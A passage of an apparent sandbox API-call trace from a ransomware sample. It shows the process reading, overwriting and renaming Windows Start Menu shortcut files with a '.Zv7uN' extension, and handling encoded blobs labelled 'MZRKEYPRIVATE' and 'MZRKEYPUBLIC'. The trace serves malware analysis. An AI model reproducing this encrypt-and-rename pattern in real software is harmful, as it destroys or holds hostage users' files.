lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.858] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x508 [0132.858] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.858] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x508, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x508, lpOverlapped=0x0) returned 1 [0132.862] CloseHandle (hObject=0x1e8) returned 1 [0132.862] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.864] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x508, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x508, lpOverlapped=0x0) returned 1 [0132.867] CloseHandle (hObject=0x1e8) returned 1 [0132.867] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\services.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\services.lnk.zv7un")) returned 1 [0132.868] GetCurrentThreadId () returned 0xa30 [0132.868] GetCurrentThreadId () returned 0xa30 [0132.868] GetCurrentThreadId () returned 0xa30 [0132.868] GetCurrentThreadId () returned 0xa30 [0132.868] GetCurrentThreadId () returned 0xa30 [0132.868] GetCurrentThreadId () returned 0xa30 [0132.868] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Configuration.lnk", cAlternateFileName="SYSTEM~1.LNK")) returned 1 [0132.868] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.869] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.869] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de)) returned 1 [0132.871] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk")) returned 0x20 [0132.871] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk", dwFileAttributes=0x80) returned 1 [0132.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0132.874] GetCurrentThreadId () returned 0xa30 [0132.874] GetCurrentThreadId () returned 0xa30 [0132.874] GetCurrentThreadId () returned 0xa30 [0132.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.875] GetCurrentThreadId () returned 0xa30 [0132.875] GetCurrentThreadId () returned 0xa30 [0132.876] GetCurrentThreadId () returned 0xa30 [0132.876] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.876] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0132.876] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.876] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x4de [0132.876] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0132.876] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x4de, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0x4de, lpOverlapped=0x0) returned 1 [0132.880] CloseHandle (hObject=0x1e8) returned 1 [0132.881] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0132.883] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x4de, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0x4de, lpOverlapped=0x0) returned 1 [0132.885] CloseHandle (hObject=0x1e8) returned 1 [0132.885] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\System Configuration.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\system configuration.lnk.zv7un")) returned 1 [0132.887] GetCurrentThreadId () returned 0xa30 [0132.887] GetCurrentThreadId () returned 0xa30 [0132.887] GetCurrentThreadId () returned 0xa30 [0132.887] GetCurrentThreadId () returned 0xa30 [0132.887] GetCurrentThreadId () returned 0xa30 [0132.887] GetCurrentThreadId () returned 0xa30 [0132.887] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Task Scheduler.lnk", cAlternateFileName="TASKSC~1.LNK")) returned 1 [0132.888] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.888] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.888] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee)) returned 1 [0132.888] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\task scheduler.lnk")) returned 0x20 [0132.889] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Task Scheduler.lnk", dwFileAttributes=0x80) returned 1 [0132.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 